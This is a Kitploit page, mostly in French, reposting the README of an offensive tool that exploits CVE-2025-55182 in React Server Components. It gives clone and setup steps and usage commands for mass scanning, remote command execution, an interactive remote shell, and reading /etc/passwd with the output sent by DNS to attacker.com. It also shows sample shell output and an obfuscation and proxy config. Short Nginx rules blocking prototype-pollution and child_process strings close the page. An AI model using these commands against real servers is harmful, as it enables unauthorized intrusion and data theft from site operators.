CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — Scanner RCE avancé pour React Server Components ciblant CVE-2025-55182. Fonctionnalités : fingerprinting multi-étapes, vérification de vulnérabilité, exfiltration DNS, shell interactif, obfuscation de payload et reporting professionnel (JSON/HTML/PDF). Tests autorisés uniquement. | Kitploit

Catégorie de fonctionnalité	Point fort de l'implémentation	Statut opérationnel
Empreinte intelligente	Détection multi-sources du framework et de la version avec algorithmes de scoring de confiance.	✅
Vérification multi-étapes	Pipeline de validation en 5 étapes conçu pour éliminer systématiquement les faux positifs.	✅
Génération de payloads	Générateur de payloads obfusqués prenant en charge l'exfiltration DNS et le multi-encodage.	✅
Shell interactif	Exécution de commandes pseudo-interactive en temps réel et accès shell sur les cibles vérifiées.	✅
Rapports complets	Génération automatisée de rapports aux formats JSON, HTML, PDF et Markdown.	✅
Exfiltration DNS	Exfiltration hors bande de la sortie des commandes via une gestion sécurisée des requêtes DNS.	✅
Moteur de concurrence	Architecture de scan multi-thread haute performance pour les grandes surfaces d'attaque.	✅
Intégration de proxy	Prise en charge des proxys HTTP/HTTPS et SOCKS pour un trafic d'évaluation anonymisé.	✅

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

Target URL / Endpoint
       │
       ▼
[Stage 1] Framework & Header Detection
       │
       ▼
[Stage 2] Component Version Analysis
       │
       ▼
[Stage 3] Protocol Compatibility Check
       │
       ▼
[Stage 4] Non-Destructive Safe Validation Request
       │
       ▼
[Stage 5] Statistical Confidence Scoring
       │
       ▼
Vulnerability Assessment Decision

$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.

shell> whoami
www-data

shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux

shell> exit
[*] Terminating session and cleaning up temporary artifacts...

# ReactRCE-Scanner Production Configuration

timeout: 30
threads: 20
max_retries: 3
proxy: null

user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

headers:
  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  Accept-Language: "en-US,en;q=0.5"
  Accept-Encoding: "gzip, deflate, br"

output:
  format: "json"
  directory: "./reports"

logging:
  level: "INFO"
  file: "exploit.log"

exploit:
  obfuscate: true
  encoding: "base64"
  timeout: 60

scanning:
  concurrent_scans: 20
  rate_limit: 0.5
  timeout: 30

fingerprint:
  enable_deep_analysis: true
  follow_redirects: true
  analyze_assets: true

# Execute the complete automated test suite
python exploit.py --test

# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed

Tests passed: 5/5

git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt

# Run pytest unit tests
pytest tests/

# Format and lint codebase
black exploit.py
flake8 exploit.py

# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
    return 403;
}
if ($request_body ~* "constructor") {
    return 403;
}
if ($request_body ~* "child_process") {
    return 403;
}
if ($request_body ~* "execSync") {
    return 403;
}

Populaires

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

📑 Table des matières

⚠️ Avertissement juridique et éthique

📋 Présentation

🎯 Capacités clés

🚀 Guide de démarrage rapide

Installation

Référence des commandes de base

🔬 Architecture et analyse approfondie des fonctionnalités

1. Moteur d'empreinte intelligente

2. Workflow de vérification multi-étapes

3. Obfuscation et évasion des payloads

4. Shell de commandes interactif

5. Suite de rapports professionnels

⚙️ Référence de configuration

🧪 Suite de tests automatisés

🛡️ Remédiation et atténuation

Actions administratives immédiates

Règles WAF de référence (Nginx / OpenResty)

📚 Références

🤝 Contribution et communauté

📜 Licence et auteur